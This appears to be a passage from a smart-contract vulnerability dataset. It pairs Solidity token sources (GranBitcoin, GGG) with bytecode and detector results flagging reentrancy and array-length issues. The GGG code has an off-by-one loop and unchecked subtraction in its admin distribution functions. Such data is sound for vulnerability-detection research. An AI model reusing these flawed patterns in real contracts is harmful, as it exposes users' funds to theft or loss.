4051600160a060020a03909216825260208201526040908101905180910390a15050565b60005460ff1660021461068c57fe5b60005433600160a060020a039081166101009092041614806106bc575060045433600160a060020a039081169116145b15156106c757600080fd5b67016345785d8a00003410156106dc57600080fd5b60098054600181016106ee8382611781565b50600091825260209091203491018190557fa6b266978e1d6bcae9b5baa4078b3b92fc622b302cca549cf2ebf2e4723aca3c903390604051600160a060020a03909216825260208201526040908101905180910390a1565b600080548190819060ff166001141561077d5760015461077690600160a060020a0330163163ffffffff6113ba16565b9050610781565b5060005b6001549330600160a060020a0316319350909150565b60005460ff1681565b600454600160a060020a031681565b60085481565b60065481565b60005433600160a060020a0390811661010090920416146107db57600080fd5b60005460ff166001146107ed57600080fd5b806002541115801561080157508060015410155b151561080c57600080fd5b42821161081857600080fd5b600591909155600655565b60005433600160a060020a03908116610100909204161461084357600080fd5b600d5460ff161561085357600080fd5b600d805460ff1916600190811790915560005460ff161461087357600080fd5b600454600160a060020a0316151561088a57600080fd5b60075461089f9061177063ffffffff6113a016565b4310156108ab57600080fd5b8015156108bf5750600160a060020a033016315b8067016345785d8a0000111580156108e1575030600160a060020a0316318111155b15156108ec57600080fd5b600160a060020a033081163160085560045416816109136113885a9063ffffffff6113ba16565b90604051600060405180830381858888f19350505050151561093457600080fd5b600030600160a060020a03163111156109735760098054600181016109598382611781565b5060009182526020909120600160a060020a033016319101555b6000805460ff191660021790556004547f166428c0f697cf2ebca7e4045ddec0f48bb4914f5ffac8765da1551e2881a51990600160a060020a031682604051600160a060020a03909216825260208201526040908101905180910390a150600d805460ff19169055565b640ba43b740081565b60008054819033600160a060020a039081166101009092041614610a0957600080fd5b600d5460ff1615610a1957600080fd5b600d8054600160ff1990911617905560005460ff16600214610a3a57600080fd5b8215610a5c57600a54600160a060020a03161515610a5757600080fd5b610a85565b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0386161790555b600160a060020a0384166000908152600c6020526040902060018101549092501515610ad257815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161782555b60028201548254610b5b9190600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b3457600080fd5b6102c65a03f11515610b4557600080fd5b505050604051805191905063ffffffff6113ba16565b905060008111610b6a57600080fd5b60006003541115610c13578154600054600354600160a060020a039283169263a9059cbb9261010090041690610ba19085906113cc565b60006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610bed57600080fd5b6102c65a03f11515610bfe57600080fd5b505050604051805190501515610c1357600080fd5b60028201548254610c759190600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b3457600080fd5b8254909150600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610cd057600080fd5b6102c65a03f11515610ce157600080fd5b50505060405180516002840155506001808301805490918101610d048382611781565b91600052602060002090016000610d1d846008546113f9565b9091555050600d805460ff1916905550505050565b600160a060020a0333166000908152600b602052604081206001810154909190819011610d5e57600080fd5b60005460ff1660011415610df357506001810180546000909155600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610da957600080fd5b7fbd5304e38e372b10ebf161f6b67eeaf9f4e25653126622b0e2497484850d10f4336000604051600160a060020a03909216825260208201526040908101905180910390a1610dfd565b610dfd3384611415565b505050565b6009805482908110610e1057fe5b600091825260209091200154905081565b600160a060020a038083166000908152600b602090815260408083209385168352600c8252808320600385019092528220549192915b6001820154811015610ea757610e9d610e9084600101548460010184815481101515610e7f57fe5b9060005260206000209001546113cc565b859063ffffffff6113a016565b9350600101610e57565b50505092915050565b60075481565b60005433600160a060020a039081166101009092041614610ed657600080fd5b60005460ff16600114610ee857600080fd5b8060025411158015610efc57508060015410155b1515610f0757600080fd5b6002556000600555565b60005433600160a060020a039081166101009092041614610f3157600080fd5b60048054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b60005433600160a060020a039081166101009092041614610f9157600080fd5b60005460ff16600114610fa357600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038316179055436007557f17528c7f18bea16a4db7e968a53fe806a68a29800c78185e7d52d343dd8004ba81604051600160a060020a03909116815260200160405180910390a150565b73f6e386fa4794b58350e7b4cb32b6f86fb0f357d481565b600a54600160a060020a031681565b6000546101009004600160a060020a031681565b60035481565b60005433600160a060020a03908116610100909204161461107057600080fd5b60005460ff1660011461108257600080fd5b67016345785d8a000081101561109757600080fd5b600160a060020a033016318110156110ae57600080fd5b60018190556002548110156110c35760028190555b50565b60005433600160a060020a0390811661010090920416146110e657600080fd5b60005460ff166002146110f857600080fd5b600160a060020a0382166000908152600b60205260408120600101541161111e57600080fd5b6111288282611415565b5050565b600160a060020a0381166000908152600b6020526040812081548291829160ff16600214156111685760018101549350600092508291506112ca565b60045474010000000000000000000000000000000000000000900460ff16801561120d57504273f6e386fa4794b58350e7b4cb32b6f86fb0f357d46315c7ff348760006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156111f057600080fd5b6102c65a03f1151561120157600080fd5b50505060405180519050105b156112255760018101549350600092508291506112ca565b60008160020154111561123e5780600201549250611244565b60025492505b60015461126190600160a060020a0330163163ffffffff6113ba16565b600182015461127790859063ffffffff6113ba16565b11156112ad578060010154836112a230600160a060020a0316316001546113ba90919063ffffffff16565b9350935093506112ca565b6001810154836112c3818363ffffffff6113ba16565b9350935093505b509193909250565b67016345785d8a000081565b6000805433600160a060020a0390811661010090920416146112ff57600080fd5b60005460ff1660011461131157600080fd5b60015482111561132057600080fd5b50600160a060020a0382166000908152600b60205260409020600181015482101561134a57600080fd5b6002015550565b7f121b68c1c3978d37f853f81c5ba5a0d2d36bb308e0765a3d6eb906c01ebdfe888383604051600160a060020a03909216825260208201526040908101905180910390a1505050565b60055481565b6000828201838110156113af57fe5b8091505b5092915050565b6000828211156113c657fe5b50900390565b600068056bc75e2d631000006113e8848463ffffffff61175616565b8115156113f157fe5b049392505050565b6000816113e88468056bc75e2d6310000063ffffffff61175616565b600080548190819081908190819060ff1660021461142f57fe5b600160a060020a038089166000908152600b6020526040902096508716151561146157600a54600160a060020a031696505b600160a060020a0387166000908152600c6020526040902086546009549196509011806114ab5750600160a060020a03871660009081526003870160205260409020546001860154115b15156114b657600080fd5b855460095411156115ac576114d186600101546008546113f9565b86549094506000935091505b6009548210156115285761151b61150e6009848154811015156114fc57fe5b906000526020600020900154866113cc565b849063ffffffff6113a016565b92506001909101906114dd565b600954865560008311156115ac57600160a060020a03881683156108fc0284604051600060405180830381858888f19350505050151561156757600080fd5b7fffab3269bdaceca4d1bbc53e74b982ac2b306687e17e21f1e499e7fdf6751ac88884604051600160a060020a03909216825260208201526040908101905180910390a15b600160a060020a03871660009081526003870160205260409020546001860154111561174c575050600160a060020a0385166000908152600385016020526040812054905b60018501548210156116335761162661161987600101548760010185815481101515610e7f57fe5b829063ffffffff6113a016565b60019092019190506115f1565b6001850154600160a060020a038816600090815260038801602052604081209190915581111561174c578454600160a060020a031663a9059cbb898360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156116bb57600080fd5b6102c65a03f115156116cc57600080fd5b5050506040518051905015156116e157600080fd5b60028501546116f6908263ffffffff6113ba16565b60028601557f6337ed398c0e8467698c581374fdce4db14922df487b5a39483079f5f59b60a4888883604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b5050505050505050565b60008083151561176957600091506113b3565b5082820282848281151561177957fe5b04146113af57fe5b815481835581811511610dfd57600083815260209020610dfd9181019083016117be91905b808211156117ba57600081556001016117a6565b5090565b905600a165627a7a72305820dbc674234dad26178ed3a8996c416cf6dacfbbf7627223c1394b954d191b36590029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,424 |
0x958781ebeffc04860a1bde735b3e7b074ae9c233 | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract GranBitcoin is Ownable, StandardToken {
using SafeMath for uint256;
string public name = "GRAN Bitcoin";
string public symbol = "GRAN";
uint public decimals = 12;
uint public INITIAL_SUPPLY = 100 * (10**6) * (10 ** uint256(decimals)) ; //
constructor () public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
}
//////////////// owner only functions below
/// @notice To transfer token contract ownership
/// @param _newOwner The address of the new owner of this contract
function transferOwnership(address _newOwner) public onlyOwner {
balances[_newOwner] = balances[owner];
balances[owner] = 0;
Ownable.transferOwnership(_newOwner);
}
} | 0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c85780632ff2e9dc146101f2578063313ce56714610207578063661884631461021c57806370a0823114610240578063715018a6146102615780638da5cb5b1461027857806395d89b41146102a9578063a9059cbb146102be578063d73dd623146102e2578063dd62ed3e14610306578063f2fde38b1461032d575b600080fd5b3480156100eb57600080fd5b506100f461034e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a03600435166024356103dc565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b6610442565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a0360043581169060243516604435610448565b3480156101fe57600080fd5b506101b66105bf565b34801561021357600080fd5b506101b66105c5565b34801561022857600080fd5b5061018d600160a060020a03600435166024356105cb565b34801561024c57600080fd5b506101b6600160a060020a03600435166106ba565b34801561026d57600080fd5b506102766106d5565b005b34801561028457600080fd5b5061028d610741565b60408051600160a060020a039092168252519081900360200190f35b3480156102b557600080fd5b506100f4610750565b3480156102ca57600080fd5b5061018d600160a060020a03600435166024356107ab565b3480156102ee57600080fd5b5061018d600160a060020a036004351660243561088c565b34801561031257600080fd5b506101b6600160a060020a0360043581169060243516610925565b34801561033957600080fd5b50610276600160a060020a0360043516610950565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d45780601f106103a9576101008083540402835291602001916103d4565b820191906000526020600020905b8154815290600101906020018083116103b757829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035490565b600160a060020a03831660009081526001602052604081205482111561046d57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561049d57600080fd5b600160a060020a03831615156104b257600080fd5b600160a060020a0384166000908152600160205260409020546104db908363ffffffff6109a216565b600160a060020a038086166000908152600160205260408082209390935590851681522054610510908363ffffffff6109b616565b600160a060020a038085166000908152600160209081526040808320949094559187168152600282528281203382529091522054610554908363ffffffff6109a216565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60075481565b60065481565b336000908152600260209081526040808320600160a060020a038616845290915281205480831061061f57336000908152600260209081526040808320600160a060020a0388168452909152812055610654565b61062f818463ffffffff6109a216565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600054600160a060020a031633146106ec57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d45780601f106103a9576101008083540402835291602001916103d4565b336000908152600160205260408120548211156107c757600080fd5b600160a060020a03831615156107dc57600080fd5b336000908152600160205260409020546107fc908363ffffffff6109a216565b3360009081526001602052604080822092909255600160a060020a0385168152205461082e908363ffffffff6109b616565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546108c0908363ffffffff6109b616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600054600160a060020a0316331461096757600080fd5b60008054600160a060020a03908116825260016020526040808320548483168452818420558254909116825281205561099f816109cc565b50565b600080838311156109af57fe5b5050900390565b6000828201838110156109c557fe5b9392505050565b600054600160a060020a031633146109e357600080fd5b61099f81600160a060020a03811615156109fc57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058201f0d7ecc73eaf050c6017866070ff49cf0276d82a0059d2d8ca71c793e6bcdd20029 | {"success": true, "error": null, "results": {}} | 1,425 |
0xcfbc7403b692a437eec6b691fff48c8d75995672 | pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract GGG {
// Public variables of the token
using SafeMath for uint256;
mapping (address => bool) private admins;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public remainRewards;
address public distributeA;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
address contractCreator;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function GGG() public {
totalSupply = 100000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply.div(4); // Give the creator all initial tokens
remainRewards = totalSupply - balanceOf[msg.sender];
name = "Goyougame"; // Set the name for display purposes
symbol = "GGG"; // Set the symbol for display purposes
contractCreator = msg.sender;
admins[contractCreator] = true;
}
//modifiers
modifier onlyContractCreator() {
require (msg.sender == contractCreator);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
//Owners and admins
/* Owner */
function setOwner (address _owner) onlyContractCreator() public {
contractCreator = _owner;
}
function addAdmin (address _admin) onlyContractCreator() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyContractCreator() public {
delete admins[_admin];
}
function getDsitribute(address _who, uint _amount) public onlyAdmins{
remainRewards = remainRewards - _amount;
balanceOf[_who] = balanceOf[_who] + _amount;
Transfer(distributeA, _who, _amount * 10 ** uint256(decimals));
}
function getDsitributeMulti(address[] _who, uint[] _amount) public onlyAdmins{
require(_who.length == _amount.length);
for(uint i=0; i <= _who.length; i++){
remainRewards = remainRewards - _amount[i];
balanceOf[_who[i]] = balanceOf[_who[i]] + _amount[i];
Transfer(distributeA, _who[i], _amount[i] * 10 ** uint256(decimals));
}
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function setaddress(address _dis) public onlyAdmins{
distributeA = _dis;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | 0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806313af4035146101ff57806314029756146102385780631785f53c1461027157806318160ddd146102aa57806323b872dd146102d3578063313ce5671461034c57806342966c681461037b5780636b0c9d6a146103b6578063704802751461040b57806370a082311461044457806379cc6790146104915780637f2e0ec2146104eb57806395d89b4114610514578063a9059cbb146105a2578063c536c952146105e4578063cae9ca5114610626578063dd62ed3e146106c3578063e437d8151461072f575b600080fd5b341561012257600080fd5b61012a6107c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610867565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b610236600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108f4565b005b341561024357600080fd5b61026f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610994565b005b341561027c57600080fd5b6102a8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a2f565b005b34156102b557600080fd5b6102bd610adc565b6040518082815260200191505060405180910390f35b34156102de57600080fd5b610332600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ae2565b604051808215151515815260200191505060405180910390f35b341561035757600080fd5b61035f610c0f565b604051808260ff1660ff16815260200191505060405180910390f35b341561038657600080fd5b61039c6004808035906020019091905050610c22565b604051808215151515815260200191505060405180910390f35b34156103c157600080fd5b6103c9610d26565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561041657600080fd5b610442600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d4c565b005b341561044f57600080fd5b61047b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e02565b6040518082815260200191505060405180910390f35b341561049c57600080fd5b6104d1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e1a565b604051808215151515815260200191505060405180910390f35b34156104f657600080fd5b6104fe611034565b6040518082815260200191505060405180910390f35b341561051f57600080fd5b61052761103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561056757808201518184015260208101905061054c565b50505050905090810190601f1680156105945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105ad57600080fd5b6105e2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110d8565b005b34156105ef57600080fd5b610624600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110e7565b005b341561063157600080fd5b6106a9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611270565b604051808215151515815260200191505060405180910390f35b34156106ce57600080fd5b610719600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113ea565b6040518082815260200191505060405180910390f35b341561073a57600080fd5b6107c76004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061140f565b005b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561085f5780601f106108345761010080835404028352916020019161085f565b820191906000526020600020905b81548152906001019060200180831161084257829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561095057600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109eb57600080fd5b80600560006101000a81548173ffffffffffffffffffffffff